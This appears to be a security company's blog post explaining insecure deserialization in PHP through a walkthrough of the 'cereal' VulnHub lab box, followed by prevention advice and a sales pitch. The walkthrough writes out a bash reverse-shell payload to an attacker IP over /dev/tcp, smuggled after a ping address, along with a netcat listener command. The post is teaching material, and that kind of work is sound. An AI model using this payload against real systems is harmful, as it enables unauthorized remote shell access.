In this blog (part of the “Insecure Deserialization” series), we will discuss insecure deserialization vulnerabilities in PHP and its prevention. The purpose of data serialization and deserialization is that it ensures that the object remains a replica of the original item prior to serialization.
Insecure deserialization occurs when an application deserializes user-controllable data. This could allow an attacker to modify serialized objects in order to inject malicious data into the application code, resulting in code execution or arbitrary file read on any vulnerable system. An application’s logic can be further exploited through insecure deserialization by using untrusted or unknown data to launch a denial-of-service attack (DoS attack), run code, escape authentication, or any number of other malicious actions. Let’s first learn about serialization and deserialization before diving into the exploitation part.
What is Serialization?
Serialization is the method by which an object instance’s state information converts into a binary or textual form in order for it to be stored on a system or sent over a network.
Serialization is the process of storing a data object that contains a combination of code and data within a storage area. The serialized data is transformed into a string of bytes that stores the object’s state in a format that can be readily sent. The data can be sent to an application, another data storage (such as an in-memory computing platform), or another location in this serialized form.
What Is Deserialization?
Deserialization is the process of rebuilding a data structure or object from a series of bytes or a string in order to consume the object. This is the opposite of serialization, which is the act of turning a data structure or object into a series of bytes for storage or transmission among devices. A system must be able to deserialize an object state from raw bytes in order to get it over a network or read it from persistent storage.
PHP Deserialization Attack
To understand PHP object injections, we have to first understand how PHP serializes and deserializes objects.
When we need to save or send a PHP object over the network, PHP uses serialize() to package it.
serialize(): PHP object -> plain old string that represents the object
When it’s time to utilize the data, PHP uses unserialize() to unpack it and retrieve the underlying object.
unserialize(): string containing object data -> original object
Let’s look at an example of a PHP deserialization vulnerability. For this, we are going to use cereal vulnhub box.
After setting up the box, we move to the home page by navigating to the following link: http://secure.cereal.ctf:44441
We can see that the website has a “ping” functionality and therefore, there could be (from an attacker’s perspectives) a possibility to run system commands via the web app. But when we attempt to inject a command, nothing really happens. Next, we’ll view the front-end code (php.js). Right-click on the web page and click on “View Page Source”.
As can be seen above, there seems to be some sort of serialization logic implemented by the application developer. This is a perfect place to try and test out some malicious payloads.
Next, we’ll send a sample request and capture it via a proxy tool such as Burp Suite.
Let’s briefly understand the HTTP POST body. The type object is denoted by the letter “O”. There are four (4) kinds, as we can see from the serialization code.
Similarly, the letters “b”, “s”, and “a” for booleans, strings, and arrays, respectively. The length of the object’s name is indicated by the number immediately after the colon. Consequently, the name of the object is pingTest. A property called ipAddress is defined in the object. IpAddress is a string that is 9 characters long. The IP itself, which is the following item, is likewise a string with a length of 11 characters.
Let’s try to locate a backup of the PHP file to help us better understand how it functions. For that let’s use the Fuzzer tool for finding hidden directories in the web app. For more details, see the screenshot below.
There’s a forbidden directory called “back_en”. We cannot view the contents of the folder since it appears that the indexes are blocked in “.htaccess” file.
However, one file in the “back_en“ directory, namely “index.php.bak”, can be downloaded by external users. Next, we’ll download the file using the wget utility.
Before we build the exploit code, we must first understand how the PHP script in “index.php” (or “index.php.bak”) works. Line 28 is where the execution starts because the line above it is a class definition. As can be seen above, the script has a pingTest class. Within the class, we can see many variables such as ipAddress, isValid and more.
It appears that the code takes a serialized pingTest object “obj” via a HTTP POST request. Then, it deserializes the object via the unserialize() function and then passes the deserialized object “$pingTest” to the validate() and ping() functions.
The shell_exec() function is used to execute the ping command with the user supplied IP address. Our initial attempt to inject commands was unsuccessful because the IP address value was invalid.
We can try to set the “isValid” Boolean variable to true so we bypass the IP Address validation check.
Quick Recap: The original request, captured using Burp Suite, can be seen below.
Next, we’ll create a malicious payload with system commands, but with the “isValid” variable set to “true” to get around IP address validation. This way, we can bypass the “if” block in the validate() function (pingTest class). This will lead us to the ping function directly where we can execute system commands. If the payload is “127.0.0.1 && bash -c ‘/bash -i >& /dev/tcp/192.168.0.182/4444 0>&1”, the code will first execute a ping command to “127.0.0.1” and then execute the malicious payload – in this case a reverse shell command. Additionally, we are free to utilize any payload. We must, however, serialize the request on our own. We are going to write a malicious PHP script that will produce the aforementioned results.
By running the said malicious script, we get a serialized object. Note that we can use any value for the ipAddress variable. In this case, we have used – 192.168.0.182.
We’ll use netcat to listen on port 4444 before running the command for a reverse connection.
nc -nvlp 4444
We can intercept the request using a proxy tool such as Burp Suite and replace the object “obj” with our malicious serialized payload (see above).
After the request is processed, our netcat listener receives a reverse connection from the host:
For user-supplied input, never use the unserialize() method; instead, utilize data-only serialization formats like JSON. In PHP 7, a second optional argument has been added that enables us to define an allow list of acceptable classes if we need to perform PHP deserialization.
The only secure architectural approach is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types. If that is not possible, consider one or more of the following:
- Integrity checks, such as digital signatures, should be applied to serialized objects to stop malicious object creation and data modification.
- Enforce strict type constraints during deserialization before creating objects as the code typically expects a specified range of classes.
- Isolate and run code that deserializes in low privilege environments where possible.
- Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
- Limit or keep track of incoming and outgoing network connectivity from deserialization servers or containers.
- Monitor deserialization, alert if a user sends deserialization requests consistently.
In this blog, we discussed insecure deserialization in PHP. In upcoming blogs, we are going to explore insecure deserialization vulnerabilities in other languages such as Java, Python, and .NET.
By partnering with Redfox Security, you’ll get the best security and technical skills required to execute an effective and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through penetration testing services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.
Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. With a combination of data-driven, research-based, and manual testing methodologies, we proudly deliver robust security solutions.
“Join us on our journey of growth and development by signing up for our comprehensive courses, if you want to excel in the field of cybersecurity.”